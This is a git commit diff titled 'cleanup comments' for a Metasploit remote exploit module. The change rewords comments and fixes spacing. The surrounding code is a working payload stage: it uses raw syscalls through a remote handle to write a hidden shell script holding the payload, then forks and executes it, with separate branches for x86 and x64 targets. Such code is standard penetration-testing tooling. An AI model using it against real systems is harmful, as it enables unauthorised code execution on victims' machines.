cleanup comments
parent
5da34e8f2b
commit
9f12b794da
|
@ -62,9 +62,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
filename = "." + Rex::Text.rand_text_alphanumeric(16)
|
||||
|
||||
begin
|
||||
# syscall to decide wether it's 64 or 32 bit:
|
||||
# it's getpid on 32bit which will succeed, and writev on 64bit
|
||||
# which will fail due to missing args
|
||||
# Decide if this is running on an x86 or x64 target.
|
||||
# This syscall number is getpid on x86, which will succeed,
|
||||
# or writev on x64, which will fail due to missing args.
|
||||
j = p.send(:syscall, 20)
|
||||
# syscall open
|
||||
i = p.send(:syscall, 8, filename, 0700)
|
||||
|
@ -77,18 +77,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# syscall execve
|
||||
p.send(:syscall, 11, filename, 0, 0)
|
||||
|
||||
# likely 64bit system
|
||||
# likely x64
|
||||
rescue Errno::EBADF
|
||||
# syscall creat
|
||||
i = p.send(:syscall,85,filename,0700)
|
||||
i = p.send(:syscall, 85, filename, 0700)
|
||||
# syscall write
|
||||
p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
||||
p.send(:syscall, 1, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
||||
# syscall close
|
||||
p.send(:syscall,3,i)
|
||||
p.send(:syscall, 3, i)
|
||||
# syscall fork
|
||||
p.send(:syscall,57)
|
||||
p.send(:syscall, 57)
|
||||
# syscall execve
|
||||
p.send(:syscall,59,filename,0,0)
|
||||
p.send(:syscall, 59, filename, 0, 0)
|
||||
end
|
||||
|
||||
register_file_for_cleanup(filename) if filename
|
||||
|
|
Loading…
Reference in New Issue